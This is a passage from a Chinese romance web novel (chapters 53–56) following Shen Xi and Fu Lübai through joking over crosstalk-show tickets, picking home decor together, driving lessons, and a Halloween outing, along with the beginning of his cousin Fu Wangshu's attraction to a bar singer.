傅律白怔了下,回抱住她的同时轻笑,像是有些诧异她怎么这么粘人,“我们才一天没见。”
本来也不能回来这样早的,但他总是不想留她一个人在京市,人是自己从人家家里接来的,又放人家一个人在这里,多少有些说不过去,便将那边时速速了结,剩下一些尾巴留给了助理,便自己一个人提前回来。
“一天没见,我已经很想你了。”沈晞趴在他的肩上,感受着他身上的温度与味道,轻声说着。
所以她不知道,未来长久的日子里,要怎么度过。
有泪顺着眼角滑落,悄悄落在傅律白的肩上,庆幸天气渐冷,他今日穿了一件偏厚的西装外套,应当感受不到。
53. 第 53 章
那时,想要讨好傅律白的人可谓是绞尽了脑汁各显神通花样百出,什么都送。但全都被拒之门外,没人能讨得傅先生欢心。
有人甚至剑走偏锋,阳春白雪的大概傅先生见得腻了,没什么新意,便给他送来了两张相声票,兴许傅先生就爱好独特呢。
傅律白本已经将人回绝,但看到这两张票时,不知道忽然想到了什么,便又接过,唇角还带着点那么若有似无的笑意,看上去心情不错。
递票的那人顿时心中大悦,喜笑颜开的目送人离开。
沈晞在家中看到这两张票时,还挺诧异,她以为傅律白这种不是听些咿咿呀呀的小曲也是听些歌剧,没想到还挺接地气竟然会听相声。
“你竟然爱听相声。”傅律白恰好走过来,沈晞好奇的问他。
傅律白睨着她,嘴角勾起淡淡的弧度,“拿给你的。”
“给我?”沈晞有些不解的看着他。
傅律白拿过她手中的那两张票,漫不经心地笑着说:“我以为你要时不时去进修一下。”
沈晞有些茫然。
看她这个样子,傅律白像是有些意外的说:“啊,原来茜茜一身本领全是靠天赋,那更应该去听一下,万一养出个相声大师来——”
他话音未落,沈晞便已经反应过来,这是在调侃她当时在酒吧时,叭叭的说那几个醉汉那段,“傅律白!”
她作势就要打他,傅律白却先一步反应过来躲了过去,脸上是小恶作剧得逞般的轻笑,竟难得带上了几分少年气,沈晞一时忘记了动作,难得见他这样轻松,算了,就饶他这一回吧。
她又看着有些出神,好可惜没有见过少年时的他,不知道少年时的他会不会更张扬一点,有没有自在随风。
但应该很难吧……
他十八岁时,便父亲意外去世,被送到了国外。什么原因的去世,会那么匆忙的将人送走,那大抵算不上是轻松的,或许是外忧也可能是内患。
傅律白见她忽然停住,过来问她,“在想什么?”
沈晞忽然不知道怎么问了。
她怕听到答案后,她会难过。
可下一秒,却又还是问了,她怕不知道他的困境与不易,如果她不问,又有谁还能去问他,去拥抱抚摸那些个不快乐。
“你小时候……过得快乐么?”她换了种说法,本想问轻松或者自由么,有没有一个小孩子应有的童年,但,想来想去,还是快乐这个词比较好用一点。
“应该”是很难去定义的,在傅律白这样人的世界中,大概很难去拥有“应该、正常又普通”的童年吧。
傅律白不知道她的话题怎么会跳跃的这样大,让他微愣了下。
这样的停顿,让沈晞的心紧了起来,像是验证了自己的某些猜测般。
但其实傅律白只是一时间不好回答。
做为家族长子嫡孙继承人,虽然这个名头很老派,但他们家族仍旧延续着。他自然会被要求许多,也要学习许多,不是按常规小孩子那般按部就班上学就好,他从三岁时,便请来了许多老师,不说琴棋书画,但六艺五经也或多或少的设略,其实他学得那些东西,早已可以越过小学乃至初中。
不过他的父母为他做了最大程度的努力和争取,让他得以和同龄小孩一样正常上学,走那个流程。
但也不算全无好事,谁也不是生来便淡然稳重,他也会有小孩子顽劣的那一面,曾经学累了不想学便爬到了树上去,那颗大树很大,活了已有百年,足以盛下小小的他,大人们找了他半天,都几疯了,甚至以为是被哪方势力给掳走,记得差点报警,联系了多方关系。
而他靠躺在高高的树上,看着街头往来的叫卖,看着两个小孩在街角摔毛人,看人们吵架,看人士精彩。
找到他的时候,他在上面睡着了。
他以为自己会被挨罚,但爷爷却笑,笑他有魄力,那么多人在家里乱成一团,他都能在树上坐怀不乱,不愧是他们傅家的好子孙,必成大器。
他不知如何定义,但他最终轻笑着回答,“也算是快乐的。”
毕竟蛮有趣。
沈晞却难过的看着她,她不敢想,这样的童年都算是快乐的话,那他现在是要承受多么重的压力,是多不自由与轻松。
虽然他表现出来的,时常的状态是漫不经心与松散的,可看似手眼通天的傅先生,真正承受着什么,也只有他自己知道。
沈晞心疼的忍不住走过去抱住了他。
傅律白带着些笑音的问:“又怎么了?”
沈晞声音闷闷的从他怀里传来,“没事,就想抱抱你。”
她不知道以后的那个人,还能不能真心实意的给他一个这样的拥抱。
傅律白,滑过胸口,就让她想哭的名字,她想让活的他自由点轻松点。
那两张相声票,没想到还有后续。
傅望舒是个顶追潮流的,最近才迷上相声,没想到在她想出手时京市和津市的票竟然已经被卖光了,黄牛和某二手交易网上竟然都没人出售。
按理说,她想要些什么,在小姐妹圈中喊一声,自然有人愿意割爱,拱手相让,讨她一个欢喜,但巧就巧在她这爱好实在是太时髦小众,姐妹圈中的人还没更新上来,竟没弄来一张票。
这日她来傅律白这里作客,之前她是从没来过的,毕竟是酒店不算家里,傅律白也没有在酒店邀请人过来的习惯,算什么样子。
也因此,曾经从不觉得住在酒店有什么不好的傅律白有些不想让沈晞和他住在这里,于是问她,有没有什么喜欢的装修风格,他想着手搬过去。
沈晞看着他,有些迟疑,没讲话。
她还在挣扎,不知那里装修完,她是不是早就已经离开,她发了那么多话,最终其实并不是傅律白喜欢的风格,又或者,让之后的那个女生,时不时的拿这个找傅律白的不痛快,多没必要。
傅律白没让这样的沉默更久,只笑着接话说:“你要是不说,我就看着装了。”
沈晞笑笑,笑得很自然又有些不耐烦的说:“好啊好啊,相信你的眼光。”
拿出她咸鱼摆烂的那套来,而且她也确实相信他的眼光。
傅律白是真的很有审美的一个人。
但其实偶尔,沈晞还是会觉得有些遗憾,一起装修一个家的事,没有和他做过,以后也不会有这样的机会了,日后追溯回忆起来,这样的事没有和他一起做过
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,是个空缺。
但傅律白也没有随她的意,虽说着他自己来,但在选一些东西时,还是拿着设计图纸来给她看。
沈晞当然装作很忙的样子,像是懒得操心这种事一样的不看,傅律白却在那边说:“那行,那就选这个吧,我觉得这个不错。”
沈晞本是不想看,但最终还是没忍住好奇余光瞥了一眼,顿时晴天霹雳,六个设计图里他怎么可以精准的选中最丑的那个啊!
他的审美是忽然离家出走了么?!
他眼睛没毛病吧?!
而且不是,这真的是找名家特别设计的么?怎么六幅里只有两个是可以看的,难道这就是艺术?!
“你还不如选这个。”沈晞实在是忍无可忍的指着那个还能看的其中一个说。
傅律白点点头,认可她的眼光,挺保守的说:“我觉得这个也行。”
就这样,沈晞几乎参与了百分之八十,后期她也回过味儿来,努力克制,但傅律白总是能选中风格十分牛马不相及的,让她忍无可忍说:“傅律白,你是不是故意的!”
她气呼呼的,傅律白反而一脸好脾气,还挺无辜的说:“我觉得这个挺好看啊。”
好看好看好看!前面都走欧式极简风了,你忽然放个黄梨木算什么啊?
“那选这个?”他像是很尊重她的意愿。
沈晞已经打定主意不参与了,侧过头去没说话,但还是没忍住紧抿的唇微微松了,被傅律□□准的捕捉到。
不过此时,他们还是住在酒店中,因为有沈晞来,傅望舒来作客。
当她看到被沈晞随手压在客厅茶几角,即将快被清洁卫生的阿姨扔掉时,傅望舒“嗷”了一声,惊喜的说:“你们有这场的票啊!”
沈晞正愁这东西浪费,让她去听也不是不行,硬拉着傅律白去,对于两个人来说倒也算是一种新鲜的体验,但可能两个人会面无表情的坐完全程,倒不如给更懂得它的人,才更有价值。
“你喜欢看啊——”
沈晞愣了下,她还没开口呢,怎么就出话外音了?下一秒就听傅律白靠坐在沙发上,懒洋洋的说:“让你茜茜说给你听啊。”
傅望舒愣了下,转过头来惊讶的问向她,“茜茜你还会说相声呢?”
“傅律白!”沈晞却已经猛地站了起来,冲着沙发便打了过去,“你是不是欠收拾啊!”
傅律白没想到她会这么零帧起手,他自己是半靠在沙发上的,核心不太能使上力,才站起来还没站稳,便被沈晞又扑了回去,沈晞作势就要掐他的脖子,没怎么用劲儿,但虚在那里,有点痒,傅律白边闷声笑边躲,沈晞哪里会放过他,脖子脸耳朵一顿搓,傅律白几乎都躲半躺在了沙发上。
傅望舒在一旁都看呆了,她从没见过这样轻松欢愉玩闹的表哥,表哥虽然平时和家里人也不怎么端着,和别人也算是和气好讲话,但也没有敢和他这样,更没人敢“收拾”他。
茜茜也笑得很开心,虽然她是这样觉得的,但沈晞觉得自己快要被傅律白气死了,她今天务必要好好收拾他。
这才是爱情原本的样子么?她和程霁哥从来不会这样。
傅望舒看着,眸光淡淡黯了下来。
54. 第 54 章
很快便到了万圣节,傅望舒约沈晞出来过节,为此,沈晞还特意给自己打扮了一下,买了身黑色小女巫装,还为自己精心化了一下全装,红红的晕开的下眼线,勾出来的黑色上眼线,没表情时看上去又冷又酷,没有画黑黑的唇,反而只是钱途,又将唇锋处晕染出了一点,看上去又有点楚楚可怜的纯欲,在和这身黑衣服形成完美反差,她很满意。
走下楼,张开手臂给傅律白看,“好看么?”
傅律白靠坐在沙发上,拿着平板大概是在看文件,但他真是好神奇,平板都被他拿出了像是在看报纸,他坐在那里,好像真回到了上世纪,他都不用装扮,可以本色出演一位看上去绅士有礼学识渊博的教授,可是却在家里,饲养着不谙世事却又黑暗的小女巫。
啊啊啊啊脑子你停下。
沈晞赶紧拉住自己一泻千里的脑洞。
傅律白放下平板,淡淡地瞥她一眼,说:“不太考究,唇色好像不太对,眼神好像也不太对。”
“……”
妈的,死直男。
沈晞瞪了他一眼,很没好气的冲了他呲了呲牙,露出了她特意准备的恶魔小尖牙,哒哒哒的转身出门。
傅律白还在后面问:“要不要我送你?”
“不要,”沈晞头也不回的说,“望舒来接我。”
才不和你这种不懂欣赏的人玩。
其实她已然考完了驾照,上次那件事之后,从绍市回来她便着手准备,虽然过程偶有坎坷,但好在考了下来。傅律白虽有近定乾坤的本事,但这种小事还是得禹开然来办,驾校的人一听是这边带来的人,自然不敢怠慢,好声好气的的哄着,出了错教练也会在一旁鼓励,这样一学,学了小一个月,都没什么长进,止步在科目二中,学的沈晞都泄了气。
愁眉苦脸的和傅律白说:“还是算了,我可能没那个资质。”
傅律白倒是无所谓,说:“不学就不学,总归你也不缺司机,去哪里都有人可以为茜茜小姐效劳。”
但沈晞不服气,凭什么别人都可以,就她不行啊,这是什么很难的事么?她有那么笨么?
一直觉得自己学东西还算快的沈晞受到了深深地打击,陷入自我怀疑中。
而且,她怕万一,还会遇到之前的事。哪怕,只是两个人去个什么郊外游玩呢,他喝多了,又不好叫代驾,他们要在外面风餐露宿一夜么?
虽然,傅律白喝多的可能性,简直少之又少,他向来是个很有分寸又懂得克制的人。
想想,她似乎真没见过他喝醉过,不知道喝醉的傅律白是什么样子。
她开始好奇起来,并且开始跃跃欲试的筹划。怎么,才能让傅律白喝醉呢?
傅律白看她眼神乱飘,以为她还是有点不甘心,第二天亲自陪她过去,想看看她是怎么学的,挺机灵一姑娘,怎么会在这翻车呢。
他跟过去,也没讲话,就坐在后驾驶座上,可气质气度摆在那里,教练一看就知道身份不凡,更加客客气气的,连S弯都压线到没边了,那边还在鼓励着说:“诶,对对对,在往左打一点就行,对对,再右打点。”
搞得沈晞手忙脚乱晕头转向,鼻尖都出了汗。
等这把S弯过完,沈晞将车子停住,手扶在方向盘上,垂头丧气的开始运气,傅律白才挺有水平的和教练声音温淡的讲:“您教半天也累了,下来休息会儿,我陪她练练。”
教练本想推拒,说:不用不用,来好好表现一下,但又想,有钱人的想法别乱揣测,人家怎么说就怎么做,于是说:“那行,我就在那个树底下哈,您、我,随叫随到。”
被忽然叫了声“您”有点受宠若惊的不适应,想也礼貌一点,但他向来没这么说话的习惯,说到后面自己都打结。
教练下了车,傅律白坐到了副驾上。
沈晞嘟着嘴,又是委屈又是丧气的看着他,“是不是真的很没天赋啊?”
“你开你的,来接着九十度直角弯。”傅律白没回答,只语气轻松的说着。
沈晞已有退意,“算了吧。”
她可能真的不适合开车,毕竟,人可能都有自己不适合的事,她心态挺好,可以坦然接受。
“我又不会笑话你,”傅律白声音温淡,带着些笑音的说,“跟我还紧张什么?”
沈晞嗫喏了下,说:“我也不是紧张……”
“那就走,”傅律白挺漫不经心地说,“反正下午也没事。”
大概是被他这种松弛如定海神针般的态度影响,沈晞觉得傅望舒说的还是不对,她跟傅律白差远了,一点都不像,但她确实被影响的也松弛了,走就走呗。
快到了直角转弯的时候,傅律白看出她眼神开始飘了,握着方向盘的手都不自觉开始发紧,在这时,他声音温淡的开口,“教练怎么教你的?”
他的声音带着股理智的秩序感,又不是质问,像是一股温柔的泉水带着你往上捋。
沈晞说:“前车头那个线,快对准那个线了,就打死方向盘。”
傅律白并不知道什么线什么的,他在国外学的,教的都很简单粗暴,但他还是淡声说:“那做吧。”
就像是很肯定她一样。
沈晞聚精会神,慢慢地对准了线,然后打死了方向盘。
向着前面开去。
她以为自己这次又会压到转头,没想到就这样平顺的过去了,她有些不可置信的看着傅律白,“我过去了?”
“是的。”傅律白一边踩着教练座这边的刹车,一边看着不远处的树下的教练说,“但你现在最好先停下来,不然我们快要撞树上了。”
沈晞赶紧打正方向盘,踩死了刹车,然后,还是忍不住激动的问:“我过去了?我真的过去了?我怎么过去了啊?!”
教练也在不远处看的真切,本来正喝着小水,人都也忍不住站了起来,真是奇了。
“就那么过。”傅律白笑着跟她说,“你这不是都会么。”
不过是那位教练顾虑太多,所以教的太细太碎,反而让她没了独立思考反应的机会,才会脑子空白。
但沈晞却觉得,是他有魔力。
拉着他让他每个项目走陪自己走完,竟然全都一把全过,最后侧方停车成功后,她忍不住跨过手刹激动的抱住了傅律白,“啊啊啊啊啊!我竟然过去了!我竟然全过去了!怎么会这样啊!”
她还拉着他说:“考试时你能不能贿赂贿赂他们,让你坐在安全员那里陪我考啊?”
傅律白想了想,说:“好像科目二并不需要安全员,都是机考。”
沈晞想都不想的说:“那你贿赂贿赂他们,让你坐上去啊。”
傅律白忍不住摸着她脑袋笑,“这种投机取巧的事咱们不干,你再练练,要是不行,我就陪你坐上去。”
有了这句话,沈晞就放心了,愉快的点着头。
其实她现在的状态,只要他再陪她多练几天,有他没他都是一样的,哪儿还用得着到时候他去违规陪着啊。
果不其然,第三天后,沈晞已经有着才学会开车人那种自信与嘚瑟,傅律白想跟她上来时,她都会挥挥手,很豪气的说:“不用你跟着,挡我视线,你在家玩吧。”
最终沈晞自信独自走进考场,一把通过,连沈晞的教练都惊讶于她的变化,拉着傅律白向他请教教学的技巧,傅律白只说,您只把她当做最普通的一个学生就好,您的教学没有任何问题。
这让教练有些焦躁不安怀疑自己是不是教学有问题的心,打了一剂强心针,激灵一下,又安稳了下来。
可也让傅律白开始思考,这样护着她,在自己的羽翼下,是否也会有时变相让她多走了许多弯路。
大约了有了这次的教训,科三时教练也改了教学方法,真的只把她当做一个普通的学生,沈晞只练了半天便熟练通过,甚至教练还问她,是不是有在家私下开过。
沈晞说当然没有,其实傅律白也提议她可以先找个没人的地方陪她开一开,但沈晞向来有些拖延和懒惰,好不容易答应要去了,教练叫她来练科三的电话也打了过来,所以没了这个机会。
教练夸她,很有开车的天赋。
沈晞激动的出了星星眼,连傅律白都在她上车时,感受到了她的愉悦。<
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“考过这么高兴?”傅律白笑着问。
沈晞扬着下巴,有点炫耀又有点求表扬的说:“我们教练夸我开车很有天赋。”
傅律白看着她笑,“是挺有天赋的,这把你开。”
说着就要和她换位置。
沈晞眼睛微瞪,连连摆手。
疯啦,这么多车。
傅律白笑得漫不经心,“怕什么,不是考下来了。才敢说完自己有天赋。”
沈晞瞪着眼睛,“谁刚考下来就上路满大街跑啊!”
“我啊,”傅律白漫不经心的说。
“……”沈晞觉得有点被比下去了,又想到了什么,理直气壮的为自己找补,“你那国外多地广人稀啊,路上才几个人,能跟这里比?”
傅律白轻笑着说:“也是。”
但沈晞总觉得,他只是不想戳穿她,不想让她为难的周到与温柔。
就这样“也是”沈晞到现在也没怎么自己开过车,其实她没有开车的手瘾,基本总是有人接送的,她总不能将田师傅从驾驶座上薅下来,让人家失业。
有时,只要她和傅律白时,她要么没怎么睡醒,要么有时穿的衣服不太适合开车,可有两次她跃跃越试的上了手,精神高度紧张的没开十分钟就累了,换了傅律白来。
沈晞坐上车,她以为特地叫她出来,傅望舒也会合主题一点,没想到穿得特别的朴素,去的地方也不是什么人流量聚集的什么广场啦,什么环球,竟然直奔GUHIJ去。
看出沈晞的疑惑,傅望舒说:“我就是想叫你出来玩玩。”
原来是她想多。
不过到底是万圣节,她穿着这身在GUHIJ丝毫不突兀,里面大多数人都发癫了一番,穿得五花八门,甚至就连驻唱大概都被禹开然要求,穿上了恶魔服,头上带着两个牛角,眼睛上还画了个小小的十字裂痕,但因为长得十分的可爱,尤其有一双过分明亮澄澈的眼睛,一笑不但没有丝毫邪恶感,更像是懵懵懂懂的小恶魔降落人间,对什么都抱有着好奇与善意。
这么多人,酒保也不知道怎么发现了她们,大概告诉了禹开然,禹开然知道她们过来,跑来招待,本想着带她们去专门为三哥留的那间,傅望舒却不去,说上面没氛围。
禹开然想想也是,还是下面好玩,也就三哥不走寻常路,喜好个什么闹中取静,要隔出那么一间来。
沈晞却有些好奇,傅律白当初,时不时就在那里看她的?她有点好奇那是什么样的视角,不过傅望舒既然不想去,那她就下次再过去看看。
“你这头牌,时不时换人了?”沈晞看着那个小恶魔问。
“呦,你还知道之前的头牌?”禹开然有些惊讶又好奇,“来过啊?什么时候来的?”
沈晞差点咬到了自己的舌头,糟糕,怎么说漏嘴了。
她其实也就只在傅律白面前掉了马,自己的小马甲一直捂得很严实,她哈哈说着,“GUHIJ头牌嘛,京市很火的,连外地人都慕名而来,谁不知道啊。”
禹开然为自己经营策略有成效而被夸得通体舒畅,又问:“那你觉得这个怎么样,能火么?”
沈晞看着驻唱台上的人,巧合也是首粤语歌,发音比之前的那个标准,虽然是首苦情歌,但他的声音却很阳光,生生唱出了置之死地还有一丝希望向阳的感觉,长得也很阳光,是那种一看到就心情愉悦像是个晴天那样的感觉,谁来酒吧,要么是来开心的,要么是借酒消愁想求一个开心的,有个这么阳光向上的,她觉得能火。
她如实说着。
禹开然却眼神不对来,“不是茜茜,你可别啊,三哥不得弄死我。”
“……”沈晞睨他,无语的翻个白眼,“我又不喜欢这种类型的。”
“是啦是啦,”禹开然放下心来,“你只喜欢三哥那种的——啊,真是可惜没录下来,拿给三哥听。”
他又想到是什么半拖着调子笑着说。
沈晞切他没正行。
两个人聊着天,谁都没有注意到,傅望舒的眼神,一直从台上那个,带着恶魔甜甜的微笑少年身上没下来过。
55. 第 55 章
傅律白来接人,看着坐在座位上,有些微醺的人皱了皱眉后,才又看向傅望舒。傅望舒非常的只趣,率先开了口,“我等会自己能回去,我还想再玩会。”
禹开然在一旁说:“暧,我看着她呢,想玩就接着玩。”
傅律白点点头,对着傅望舒嘱咐了句,“差不多就回去。”
傅望舒乖巧点头。
傅律白又去扶沈晞,沈晞却很兴奋的拍着他的肩,“不用扶。”
声音却带着几分醉意,然后又有些依依不舍的看着傅望舒说:“改天我们继续啊~”
傅望舒刚想点头,又有点不敢说话,她看着身后的表哥,表情没那么善,只堆起个有点勉强的笑来回应。
傅律白其实是不排斥她去玩的,甚至还很乐意带她去玩,不过看她今天的样子明显喝得有些多,应该会不舒服,他揽住她的腰,低声说:“走了。”
车上,沈晞也很乖,看不出什么来,只微微靠在他的身上,有些兴奋的看着窗外的灯火,来京市这么久,她还是会为京市的灯光目眩,有种不真实的遥远。
路过广场时,那里的活动将散未散,还有些全装束的人在,远远地她就看到了长长地蛇尾巴,走起路来尾巴摇摇晃晃,她兴奋的拉着傅律白下去,“带你感受一下年轻人的生活啦,你一定——”
还未说完,又想起他常年在国外,这些国外本土重大节日,他又怎么会没见过。但转念一想,也不一定,他这样性格的人,大概会早早地在家门口摆满糖果,免得有人来敲门打扰他。
他平素里,其实是个性子很淡的人,也就偶尔兴起,又会生起不一样的浪漫和情调来。
可能也就只有哪个误打误撞迷失的小孩,才能走进他的院子,那时的他或许有些无聊,又或许正在忙别的什么事,但就是这样的偶然,可能会勾起他的兴致来,和那位小朋友开一些无伤大雅温和的玩笑,又很温和的给他取一些好吃又昂贵的糖果来,然后叫人带他去找妈妈,如果恰好他忙完了手中的事,或许会牵着ta的手自己带着去,然后在瞥一眼外面千姿百怪的热闹,而后再回自己的城堡中。
或许站在阁楼的最上面,淡淡地俯瞰着,找寻那么二三兴致。
但是她觉得,这样直接身处人群中,成为他们的一员,这样的事,他应该是没做过的。
于是她问他,在国外时是怎样过这样的节日的。
傅律白回答的果然和她想象的差不多,这个认知又让她忍不住愉悦的笑。
彻底将他拉入人群之中,她这个造型蛮可爱,白蛇姐、观音大师、唐曾师傅、黑白无常等等很快的围了过来,颇有种中西对法的感觉,白蛇姐连连后退撤逃,黑白无常抓着唐曾不放,观音大师要找她来切磋,沈晞笑得乐不可支。
傅律白穿着最简单的一身休闲西装,和这里的妖魔鬼怪格格不入,但却十分从容自得,丝毫没有任何的窘迫不自在感,这果然很傅先生,就像他无论什么重要正式的场合都可以随意的穿着不系领带也没关系,毕竟是傅先生没人会觉得失礼,他也从容得当。
他这样从容的样子,甚至会让人觉得,这就是他特意的穿搭,有一身白衣的小倩不知道从哪里飘过来,很有戏的飘到他的旁边,作势就要将人拉走,不过很有边界感的只虚虚拉着他胳膊上的衣服,“你这书生怎么在这啊儿,害我找了好久,快点跟我走。”
沈晞看好戏般的看着他,这位小倩姐姐是真的用心画了方桩,和王祖贤般的乍一看有五分像,真的好美,她欣赏着美女的美貌,同时想看傅律白如何应对。
就在这时,傅律白冲着人淡淡地笑,“要先问一问我身边的小女巫。”
说着又看向沈晞。
众人都看向了她,眼含着笑意,看热闹的人瞬间身处了其中,沈晞也入了戏,上前一步挽住他的胳膊,似娇似霸道的说:“不行,这书生我先看上的。”
说完,还冲人家呲了呲牙,露出了那两个假的小尖牙。
众人又哈哈大笑。
这段还被发到了网上,引得了小范围的传播。
沈晞玩开心了回到了车子里,而傅律白也很难忘记今日,原来这样的节日可以这样有趣,以至于后来在失去沈晞的日子里,他也会在这日,站在这广场酒店的最高层淡淡地看着广场下嬉闹的人群,时光变迁白蛇换了几批人,黑白无常去了别处,那个嬉嬉笑笑的人也再也不在身旁。
她看上去状态很好,兴奋由于不太见醉意,傅律白便放下心来,等回到家中她似乎仍旧很开心,双手勾住他的脖子,嘴角都是憋不住的笑意,扬着下巴似乎挑衅似是调戏的说:“书生,真不跟小倩走了啊。”
因喝了酒,她圆亮的眼睛里波光潋滟的,特意被画出些一点的口红此时被晕染的更加开了,鼻尖和两腮都带着些粉红,看上去楚楚可怜间又带着说不出的媚态来,傅律白眸色有些发深,揽住她的腰,低头吻了下来,声音慵懒含糊得似是要将人的醉意加深,“我有小女巫就够了。”
沈晞又发现,傅律白其实也是个口是心非的男人,就比如,他之前对她没有涂深色的口红而嫌弃她不够严谨,但此时却格外爱吻她的唇。
甚至中途,舌尖轻扫过她的贝齿,声音含糊的问她,“小尖牙呢?”
沈晞有些朦胧带着几分似醉非醉的春意看着他,几乎是下意识拿出来,事后回过神来,看着地上凌乱的小女巫服,才后知后觉,原来你是这样的傅律白。
傅望舒那边,她眼巴巴看着前面只抱着个吉他,就好像拥有整个夏天的人,明明是深秋冷的人要命的季节,却让他唱的犹如春暖花开,带着几分热意,那双眼睛可真清澈干净又无暇,阳光明媚的会让人想到夏天。
唱起《夏天的风》来一定很合适,她就这样举起来了牌点起了歌。
她出手挺大方,那人愣了下,而后冲着她这边笑了下,在两个人对上视线时,那人又不易察觉的怔愣了下,而后声音响起,果真如傅望舒所想的那样,很适合这首歌。
有这样的开头,有不少人也想点上一首,也分不清是为人还是为了歌,换了歌傅大小姐不乐意,就想要他唱这首,后来便成了竞抢,价高者得,傅大小姐总是能博得头筹,那是她抢拍过最值钱的东西,也是最不该抢的东西。
每一次都只听《夏天的风》,《夏天的风》唱了一整晚,唱到大多数人都走了,傅望舒却像是听不够,就那样托着下巴半趴在桌子上,看着他那样唱。
一次又唱完,傅望舒几乎下意识机械化的要拿手机扫码下单,那人却忽然站了起来,冲着她这边笑了一下说:“我该下班了,最后再唱一首《四季予你》吧,不止有夏季,四季都很美。”
说到最后一句时,他看向了傅望舒。而后轻笑了下,手指同时拨动了
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吉他。
“送你三月的风六月的雨九月的风景”很干净又阳光的嗓音,几乎是清唱,只有一把吉他和他的声音,但傅望舒却像是被摄住一样,在这样的嗓音下,像是一起都格外动听,让人相信,“让我余生都有关于你——”
那恰到好处的停顿,连男人的视线都微微顿住,不知是有意还是无意的看向她,傅望舒只知道,在四目交汇的那一瞬,她的心脏跳漏了半拍。
周遭的声音好像都消失了,只有四季。
“送你三月的风六月的雨九月的风景”
“大雪漫天飘零做你的嫁衣多美丽”
傅望舒像是被带了进去,那确实好美丽好浪漫,没有任何沉甸甸的钻石金钱所带来的舒服与压力。
但此时的他们,谁都不懂什么叫一语成谶。
余音还在绕梁,那人冲他又笑了下,众人也都散了场,他脚步微动,刚走了一步,忽然顿住,拿出手机来,微微皱眉,而后从后台走了。
傅望舒眼睛一错不错的盯着,逆着人流跟了上去,自然是没追到的,不知道为什么就是有点那么心有不甘,还因后门出灯光不怎么好,而有个什么东西没看到,脚被绊了一下差点摔倒,好在身后有个人扶住了她的胳膊,将她拉了一下,“你没事吧?”
一道干净又阳光的声音从耳边传来,傅望舒心喜的转过身去。
那人也看清了她的脸,眼睛立刻笑的眯了起来,“是你啊,刚刚还想回去谢谢你,发现你不在,以为你走了。”
傅望舒这时才看清,原来他笑起来,眼睛弯弯的像个小月牙,让人忍不住也心情愉悦的跟着想笑,她大概也是真的笑了吧,然后才想起问:“谢我什么?”
“谢谢你光顾我的生意啊。”
这一晚,她给他打赏了很多钱,可以让他能够舒服点过完整个学期。
他说的很坦然,眼睛弯弯,似乎并没有觉得靠这种方式,靠自己才艺技能赚钱有什么拿不出手的。
傅望舒愣了下,没太当回事,也不记得给打了多少了,这些对于她来说不过是小数目。也只笑着说:“真想谢我啊?”
那人愣了下,似乎没想到她会这么认真的问,却也认真的点头。
傅望舒嘴角的弧度更深了,跟他说:“我和家里人吵了一架,现在没地方去。”
那人又愣了下,过了两秒冲着外面扬了下头说:“那你跟我走吧。”
傅望舒笑意更深了,就这么跟了过去,有点好奇他会带自己去哪里。
后来那晚,他将她带回了自己的家,一个很小的出租屋,但却胜在干净整洁,很难想象是一个独居的男士的房间,他换好了床单被套,将卧室让给了她,而他自己则去了一旁的沙发上委了一晚。
后来傅望舒问他,为什么会把她带家去。他说,她这么一个有钱大小姐,总归不会没钱开酒店,和他这么说了,那就是不想去,不想一个人,所以就把她带回去了。
再后来,那人开了这个月的工资,又将那晚,大部分傅望舒打给他的钱又给她打了回来,说:以后再想听他唱歌不用花那么多钱,他随时都可以唱给她听。
但傅望舒笑着没收,说,就当预留,就当那天的房租,就当随便什么,反正她就是想给他。
再后来的后来,傅望舒往GUHIJ跑的越来越勤,连沈晞都看出奇怪,她才猛然惊醒。
56. 第 56 章
于是叫上沈晞。
“什么?”沈晞瞪大眼睛,连连拒绝。
你们有钱人家的大小姐玩得都这么花么?
傅望舒看她表情,就知道她想错了,解释说:“只是女性bar而已,服务生全是年轻漂亮美男,是正经酒吧。”
傅望舒特意强调着。
“谁、谁说不正经了!”沈晞不承认自己心中那点不太健康的想法。
傅望舒又补充,“当然想要提供一些特殊的服务也不是不行。”
沈晞惊呆了,“你真的是你哥的亲妹妹吗?”
这样擅自挖墙脚?
傅望舒眨眨眼特别理直气壮的说:“表的。”
服了。
那她也不是很想去。
那晚回来之后,她睡到半夜忽然疼醒,傅律白半睡半醒间听到旁边的动静,一睁眼吓了一跳,就见人弓着腰哼哼唧唧的一脸痛苦,他以为她怎么了。
连夜带她跑了趟医院,医生说她是胃里食物不太充足,又饮了凉酒,胃受不了刺激痉挛了。
傅律白勒令她不许在他不再的时候去喝酒,但沈晞总觉得,不止是这个原因,多多少少也有点前半场那两次搞得有点过火,她整个都受了刺激。
但傅律白不承认,他说他没失去分寸,不太可能伤到她。
沈晞嚷嚷着跟他理论,是内伤!是她自己的感受!是,情绪!一整个什么神经啊血管啊,受到了刺激和牵连!
虽然她说的不知道有没有什么科学理论,但她就是这么觉得。
傅律白沉吟了下说,或许也有可能,但他还是觉得那些冰酒担首则,不许她自己一个人去喝酒,尤其是和傅望舒,傅望舒更是个没边的,她们两个一起容易出事。
属于是,自己一个大概忍忍还能冷静一下控制控制,两个一起一撺掇,那就完了,纯两个无法无天活祖宗。
沈晞特别不服,说:你这是在损害我的友谊!
“好,那你下次就继续痛。”傅律白特别平淡的说。
“那你怎么不找找你自己的原因?”沈晞张牙舞爪的冲着他喊。
傅律白淡声说:“医生没有说,医生只说是酒的问题。”
“那是因为没说!没说!医生都不知道还有这个因素!”沈晞压着声音喊。
傅律白拉着她就要转身,“好,那我们再回去问问。”
沈晞不动了,他不要脸,她还要脸,她都能想象到,傅律白一本正经,用着学术般的语气和医生探讨着这个问题时,她要多社死多窘迫。
但她其实确实也有点不太想去,一是那次真给她差点疼抽过去,二是……老天,去这么光明正大的看帅哥,她是当傅律白死了么?
虽然傅律白也可能不太在意,毕竟他又大度又从容自信。
所以有的时候跟他谈,也会少了点乐趣,虽然不会像别的男朋友一样管太多,亦或者没事找事疑神疑鬼,他给与了足够的信任与尊重,当然也是对自己的自信,但多多少少有点无聊诶,都看不到他吃醋。
她觉得,哪怕是她和肌肉裸男左拥右抱的喂酒喂水果,他看到也只会笑着懒洋洋的说一句:茜茜真会享受。
就有点不开心。
“好,”沈晞内心里哼了一下,“我跟你去!”
傅望舒忽然有点后悔,她这个反应,好像高低要搞出点什么似的啊,“诶——”
但已经来不及了,沈晞拉着她就往外走。
“……”
沈晞也就那么一想,看上去牛气哄哄,但她坐在这里,旁边吧……嗯,也算是左拥右抱,也没抱,就两边都坐了两个挺帅的小伙,还是傅望舒一批一批亲自挑选的,沈晞不知道,傅望舒选时,多少留了点心眼,专门找了和她哥气质外貌没一点像的,不过在这里的人,能和他哥气质像的也不可能。
她多少放心了心。
